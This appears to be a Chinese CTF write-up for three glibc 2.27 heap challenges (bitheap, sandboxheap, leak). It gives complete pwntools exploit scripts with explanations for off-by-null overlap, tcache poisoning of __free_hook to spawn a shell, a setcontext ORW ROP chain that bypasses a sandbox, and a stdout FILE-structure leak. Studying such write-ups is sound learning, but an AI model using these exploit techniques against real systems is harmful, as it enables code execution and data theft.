bitheap
off by null漏洞,当时试了试发现可以溢出一位,不过加密函数没有看懂,赛后看了看别人的wp跟着学了一遍。
exp:
from pwn import *
context.log_level='debug'
r=process('./bitheap')
elf=ELF('./bitheap')
libc=ELF('/home/lyp/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6')
def add(index,size):
r.sendlineafter("Your choice: ",'1')
r.sendlineafter("Index: ",str(index))
r.sendlineafter("Size: ",str(size))
def edit(index,content):
r.sendlineafter("Your choice: ",'2')
r.sendlineafter("Index: ",str(index))
r.sendafter("Content: ",content)
def show(index):
r.sendlineafter("Your choice: ",'3')
r.sendlineafter("Index: ",str(index))
def delete(index):
r.sendlineafter("Your choice: ",'4')
r.sendlineafter("Index: ",str(index))
def int2bin_str(x):
return bin(x)[2:].zfill(64)[::-1]
add(0,0x80)
add(1,0x18)
add(2,0xf0)
add(3,0x18)
for i in range(7):
add(i+4,0x80)
for i in range(7):
delete(i+4)
add(i+4,0xf0)
for i in range(7):
delete(i+4)
delete(0)
edit(1,bin(0xffffffff)[2:][::-1]*2*2 + bin(0xb0)[2:].rjust(64,"0")[::-1] + "0")
#delete(1)
delete(2)
delete(1)
add(0,0xb0)
show(0)
leak=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.info("leak->"+hex(leak))
libc_base=leak-0x1a0-0x10-96-libc.sym['__malloc_hook']
log.info("libc_base->"+hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']
one_gadget=[0x4f2a5,0x4f302,0x10a2fc]
ogg=one_gadget[0]+libc_base
edit(0,bin(0xffffffff)[2:][::-1]*2*2*8+bin(0xffffffff)[2:][::-1]*2 + bin(0x20)[2:].rjust(64,"0")[::-1] + bin(free_hook).rjust(64,"0")[::-1] )
add(1,0x18)
add(2,0x18)
edit(2,bin(system)[2:].rjust(64,"0")[::-1])
edit(1,bin(0x68732f6e69622f).rjust(64,"0")[::-1])
delete(1)
#gdb.attach(r)
r.interactive()
分析:
add(0,0x80)
add(1,0x18)
add(2,0xf0)
add(3,0x18)
为之后漏洞利用先构造出off by null的三个堆块。
for i in range(7):
add(i+4,0x80)
for i in range(7):
delete(i+4)
add(i+4,0xf0)
for i in range(7):
delete(i+4)
此时将0x90和0x100的tcachebin填满,为避免以后off by null时堆块进入tcache。
delete(0)
edit(1,bin(0xffffffff)[2:][::-1]*2*2 + bin(0xb0)[2:].rjust(64,"0")[::-1] + "0")
#delete(1)
delete(2)
delete(1)
利用off by null,先释放0堆块,然后通过改1堆块触发off by null从而将2堆块size的p位置0,并且将prevsize位写成上边两个堆块大小之和,然后释放2堆块发生向上合并形成一个大堆块。
接着申请从unsortedbin申请0xb0大小的堆块泄露libc
add(0,0xb0)
show(0)
leak=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
log.info("leak->"+hex(leak))
libc_base=leak-0x1a0-0x10-96-libc.sym['__malloc_hook']
log.info("libc_base->"+hex(libc_base))
free_hook=libc_base+libc.sym['__free_hook']
system=libc_base+libc.sym['system']
one_gadget=[0x4f2a5,0x4f302,0x10a2fc]
ogg=one_gadget[0]+libc_base
此时观察堆块结构
申请的0xb0覆盖到了下方0x20且位于tcache的堆块,那么我们就可以通过写0xb0的堆块将这个已释放的0x20的指针改为free_hook的位置,然后申请0x20的第一个堆块写入'/bin/sh\x00',再申请0x20的第二个堆块(free_hook)写入system,最后释放堆块get shell。
sandboxheap
二进制文件代码跟bitheap基本一样,就多了一个沙箱,需要用orw读出flag。
其他师傅的exp:
from pwn import *
context.log_level='debug'
r=process('./sandboxheap')
elf=ELF('./sandboxheap')
libc=elf.libc
def info(a,b):
log.info("\033[0;32;40m"+a+hex(b)+'\033[0m')
def add(index,size):
r.sendlineafter("Your choice: ",'1')
r.sendlineafter("Index: ",str(index))
r.sendlineafter("Size: ",str(size))
def edit(index,content):
r.sendlineafter("Your choice: ",'2')
r.sendlineafter("Index: ",str(index))
r.sendlineafter("Content: ",content)
def show(index):
r.sendlineafter("Your choice: ",'3')
r.sendlineafter("Index: ",str(index))
def delete(index):
r.sendlineafter("Your choice: ",'4')
r.sendlineafter("Index: ",str(index))
def decrypt(m,n):
payload=""
for i in range(n):
payload += (str(bin(m&0xff)[2:])[::-1].ljust(8,"0"))
m = m>>8
if n==6:
payload+='a'*16
if n==4:
payload+='a'*32
return payload
#-----------------------------leak libc----------------------------#
for i in range(8):#0-7
add(i,0xa0)
add(8,0x38)
for i in range(7):
delete(i)
for i in range(7):#0-6
add(i,0x1f0)
add(9,0x1f0)
for i in range(6):
delete(i+1)
delete(9)
#-------------------unuse heap->7(0xa0),8(0x38),0(0x1f0)-----------------#
delete(7)
edit(8,'2'*(0x38*8))
edit(8,"1"*(0x30*8)+"aaaa1111")
delete(0)
for i in range(7):
add(i,0xa0)
add(9,0xa0)
show(9)
leak_libc=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
info("leak_libc->",leak_libc)
libc_base=leak_libc-0x2e0-0x10-96-libc.sym['__malloc_hook']
info("libc_base->",libc_base)
free_hook=libc_base+libc.sym['__free_hook']
write_addr=libc_base+libc.sym['write']
read_addr=libc_base+libc.sym['read']
setcontext=libc_base+libc.sym['setcontext']+53
info("setcontext->",setcontext)
pop_rax=libc_base+0x000000000001b500
pop_rdi=libc_base+0x000000000002164f
pop_rsi=libc_base+0x0000000000023a6a
pop_rdx=libc_base+0x0000000000001b96
syscall=libc_base+0x00000000000E5815
#--------------------------leak heap--------------------#
add(10,0xa0)
delete(0)
delete(8)
show(10)
r.recvuntil('Content: ')
leak_heap=u64(r.recv(6).ljust(8,'\x00'))
info("leak_heap->",leak_heap)
heap_base=leak_heap-0x680
info("heap_base->",heap_base)
#---------------free_hook->setcontext+53-------------------#
edit(10,'1'*0x8*8)
payload=decrypt(free_hook,6)
edit(10,payload+'a'*0x30)
add(0,0xa8)
add(8,0xa0)
add(11,0x1f0)
edit(8,'1'*16*8)
edit(8,decrypt(setcontext,6))
edit(0,decrypt(0x67616c66,4))#heap_base+0x7e0
flag_addr=heap_base+0x7e0
rop=heap_base+0x1620
payload='a'*(0xa0*8)+decrypt(rop+0xb8,6)+decrypt(pop_rdi+1,6)+decrypt(0x67616c66,4)
payload+=decrypt(pop_rdi,6)+decrypt(flag_addr,6)+decrypt(pop_rsi,6)+decrypt(4,6)+decrypt(pop_rax,6)+decrypt(2,6)+decrypt(syscall,6)#open
payload+=decrypt(pop_rdi,6)+decrypt(3,6)+decrypt(pop_rsi,6)+decrypt(flag_addr,6)
payload+=decrypt(pop_rax,6)+decrypt(0,6)+decrypt(pop_rdx,6)+decrypt(0x30,6)+decrypt(syscall,6)#read
payload+=decrypt(pop_rdi,6)+decrypt(1,6)+decrypt(pop_rsi,6)+decrypt(flag_addr,6)
payload+=decrypt(pop_rax,6)+decrypt(1,6)+decrypt(pop_rdx,6)+decrypt(0x30,6)+decrypt(syscall,6)#write
edit(11,payload)
gdb.attach(r)
delete(11)
r.interactive()
首先还是释放堆块填满tcache,然后这里留下的off by null的三个堆块号是7,8,0。这三个堆块是挨着的。
for i in range(8):#0-7
add(i,0xa0)
add(8,0x38)
for i in range(7):
delete(i)
for i in range(7):#0-6
add(i,0x1f0)
add(9,0x1f0)
for i in range(6):
delete(i+1)
delete(9)
触发off by null漏洞,泄露libc。
delete(7)
edit(8,'2'*(0x38*8))
edit(8,"1"*(0x30*8)+"aaaa1111")
delete(0)
for i in range(7):
add(i,0xa0)
add(9,0xa0)
show(9)
leak_libc=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
info("leak_libc->",leak_libc)
libc_base=leak_libc-0x2e0-0x10-96-libc.sym['__malloc_hook']
info("libc_base->",libc_base)
free_hook=libc_base+libc.sym['__free_hook']
write_addr=libc_base+libc.sym['write']
read_addr=libc_base+libc.sym['read']
setcontext=libc_base+libc.sym['setcontext']+53
info("setcontext->",setcontext)
pop_rax=libc_base+0x000000000001b500
pop_rdi=libc_base+0x000000000002164f
pop_rsi=libc_base+0x0000000000023a6a
pop_rdx=libc_base+0x0000000000001b96
syscall=libc_base+0x00000000000E5815
由于此时只是释放了7和0,而8是通过off by null实现合并而释放,但其实并没有释放,所以此时如果通过申请堆块到8的位置上,然后释放掉8,那么通过show申请的堆块就可以打印出堆块地址,为orw创造条件。
add(10,0xa0)
delete(0)
delete(8)
show(10)
r.recvuntil('Content: ')
leak_heap=u64(r.recv(6).ljust(8,'\x00'))
info("leak_heap->",leak_heap)
heap_base=leak_heap-0x680
info("heap_base->",heap_base)
然后通过改10的指针(10和8堆块重叠,相当于改tcachebin里的8)指向freehook。申请两个堆块,第一个堆块(heapbase+0x7e0)写'flag'字符串,第二个堆块(free_hook)写setcontext+53,再申请一个堆块写我们的orw的rop链。这里申请11(heap_base+0x1620)
edit(10,'1'*0x8*8)
payload=decrypt(free_hook,6)
edit(10,payload+'a'*0x30)
add(0,0xa8)
add(8,0xa0)
add(11,0x1f0)
edit(8,'1'*16*8)
edit(8,decrypt(setcontext,6))
edit(0,decrypt(0x67616c66,4))#heap_base+0x7e0
gdb.attach(r)
flag_addr=heap_base+0x7e0
rop=heap_base+0x1620
接下来往堆块11里写我们的orw的rop链。
payload='a'*(0xa0*8)+decrypt(rop+0xb8,6)+decrypt(pop_rdi+1,6)+decrypt(0x67616c66,4)
#payload+=decrypt(pop_rdi,6)+decrypt(0xff,6)+decrypt(pop_rax,6)+decrypt(10000,6)+decrypt(syscall,6)#no use
payload+=decrypt(pop_rdi,6)+decrypt(flag_addr,6)+decrypt(pop_rsi,6)+decrypt(4,6)+decrypt(pop_rax,6)+decrypt(2,6)+decrypt(syscall,6)#open
payload+=decrypt(pop_rdi,6)+decrypt(3,6)+decrypt(pop_rsi,6)+decrypt(flag_addr,6)
payload+=decrypt(pop_rax,6)+decrypt(0,6)+decrypt(pop_rdx,6)+decrypt(0x30,6)+decrypt(syscall,6)#read
payload+=decrypt(pop_rdi,6)+decrypt(1,6)+decrypt(pop_rsi,6)+decrypt(flag_addr,6)
payload+=decrypt(pop_rax,6)+decrypt(1,6)+decrypt(pop_rdx,6)+decrypt(0x30,6)+decrypt(syscall,6)#write
edit(11,payload)
解释一下这个orw链:首先在libc文件里找到setcontext函数。
重点看下边这一堆mov,通过rdi加上一个偏移控制了很多寄存器,这里主要看rsp和rcx,(rsp控制程序执行流,rcx被赋值后紧跟一个push rcx指令),如果我们将rcx写一个ret的话,那么程序执行完返回时会正好执行我们的rop链。
payload='a'*(0xa0*8)+decrypt(rop+0xb8,6)+decrypt(pop_rdi+1,6)
这里前0xa0填0,然后rdi+0xa0写rop+0xb8的地址,这里正好指向orw的open开始处,rdi+0xa8写为ret。调试看一下:
这里进入
进入
看到我们成功进入setcontext
成功返回到我们的orw链
至此就能打印出flag了。
leak
通过分析程序,发现两个关于加密解密的函数好像没什么用,free函数里存在一个uaf漏洞,指针未指0,并且程序一开始就将flag读入了申请的一个堆块中,由于这个题没有查(show),所以没有办法泄露libc改hook,也没有办法泄露堆块地址,看别人wp学了一种新的uaf的利用方法,醍醐灌顶。
利用方法:
通过堆块重叠利用unsortedbin指向main_arena指针,修改后指向_IO_2_1_stdout_,然后申请之后,把 stdout 的 flag 设置为 0xfbad1800,之后再exit的时候,就会将 IO_write_base 到IO_write_ptr之间的可读内容带出来,我们构造IO_write_base为堆块起始地址,IO_write_ptr为0x55ffffffffff(保证在flag堆块之后即可)
利用的技术:fastbin reverse into tcache
关于fastbin链入tcachebin的关键代码。
fastbin->fd=tcache[size]->fd
fastbin->bk=&tcache[size]
tcache[size]->fd=fastbin
看到这里有一个行为是 fastbin->bk=&tcache[size]。在 2.27的1.4版本以前(不包括)是没有这句话的。所以这里我们可以任意写一个堆地址。
exp:
from pwn import *
while True:
try:
context.log_level='debug'
context.arch='amd64'
r=process('./leak')
libc=ELF('/home/lyp/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6')
def info(a,b):
log.info("\033[0;33;40m"+a+hex(b)+'\033[0m')
def add(index,size):
r.sendlineafter("Your choice: ",'1')
r.sendlineafter("Index: ",str(index))
r.sendlineafter("Size: ",str(size))
def edit(index,content):
r.sendlineafter("Your choice: ",'2')
r.sendlineafter("Index: ",str(index))
r.sendafter("Content: ",content)
def delete(index):
r.sendlineafter("Your choice: ",'3')
r.sendlineafter("Index: ",str(index))
add(0,0x30)
add(1,0x500)
add(3,0x30)
add(4,0x10)
add(5,0x10)
add(11,0x40)
edit(1,flat(0,0,0,0x4f1,0,0x4e1))
edit(0, flat(0,0,0,0x41))
delete(0)
delete(3)
edit(3,p8(0xc0))
add(12,0x30)
add(2,0x30)
edit(2,flat(0,0,0,0x51))
delete(1)
edit(2,flat(0,0,0,0x21,0,0))
for i in [4,5,4,5,4,5,4]:
delete(i)
edit(i,p64(0))
delete(1)#fastbin
edit(2,flat(0,0,0,0x511))
delete(1)
lyp=0x9
edit(2,flat(0,0,0,0x51)+p8(0x60)+p8(lyp*16+7))
add(13,0x40)
add(14,0x40)
edit(14, flat(0xfbad1800,0,0,0,0,0x5fffffffffff))
edit(2,flat(0,0,0,0x21)+p8(0x68)+p8(lyp*16+7))
add(15, 0x10)
add(6, 0x10)
#gdb.attach(r)
r.sendlineafter(b"Your choice: ", b'6')
r.recv(0x250)
print(r.recv(0x100))
#gdb.attach(r)
r.interactive()
except:
pass
分析:
add(0,0x30)
add(1,0x500)
add(3,0x30)
add(4,0x10)
add(5,0x10)
add(11,0x40)
创建堆块,以后用得上。第一个堆块是flag存放的位置,从第二个开始使我们add的堆块
然后编辑堆块0,在堆块0里边伪造一个大小为0x30的堆块2,然后释放0和3,通过修改3的指针使其指向伪造的堆块2,从而我们可以通过编辑堆块2来改堆块1的大小。
edit(1,flat(0,0,0,0x4f1,0,0x4e1))
edit(0, flat(0,0,0,0x41))
delete(0)
delete(3)
edit(3,p8(0xc0))
add(12,0x30)
add(2,0x30)
可以发现此时fd指针已经被修改。
接着我们就可以通过编辑堆块2来任意篡改堆块1的大小了。这里需要将其分别放入size=0x50的tcachebin和size=0x20的fastbin和size=0x511的unsortedbin中。
edit(2,flat(0,0,0,0x51))
delete(1)
edit(2,flat(0,0,0,0x21,0,0))
for i in [4,5,4,5,4,5,4]:
delete(i)
edit(i,p64(0))
delete(1)#fastbin
这里需要爆破一个字节的_IO_2_1_stdout_的地址,最后一个字节一定是\x60,倒数第二个字节是\x?7,我们需要任意填入问号中一个值,有一定几率撞到_IO_2_1_stdout_,第一次修改是让其链入tcachebin中,然后申请堆块14来修改IO_write_ptr的值为0x5fffffffffff。第二次修改是让其链入fastbin中,然后触发fastbin reverse into tcache,由于这里的fastbin链接的是_IO_2_1_stdout_+0x8,也就是IO_read_ptr的位置,那么fastbin->bk=&tcache[size]这句话修改的就是IO_read_ptr+0x18也就是IO_write_base所在位置。
即修改IO_write_base为第一个chunk(size=0x250的头)的地址,这样就可以在exit退出时打印存有flag的堆内容了。
lyp=0x9
edit(2,flat(0,0,0,0x51)+p8(0x60)+p8(lyp*16+7))
add(13,0x40)
add(14,0x40)
edit(14, flat(0xfbad1800,0,0,0,0,0x5fffffffffff))
edit(2,flat(0,0,0,0x21)+p8(0x68)+p8(lyp*16+7))
add(15, 0x10)
add(6, 0x10)
最后循环程序爆破出flag。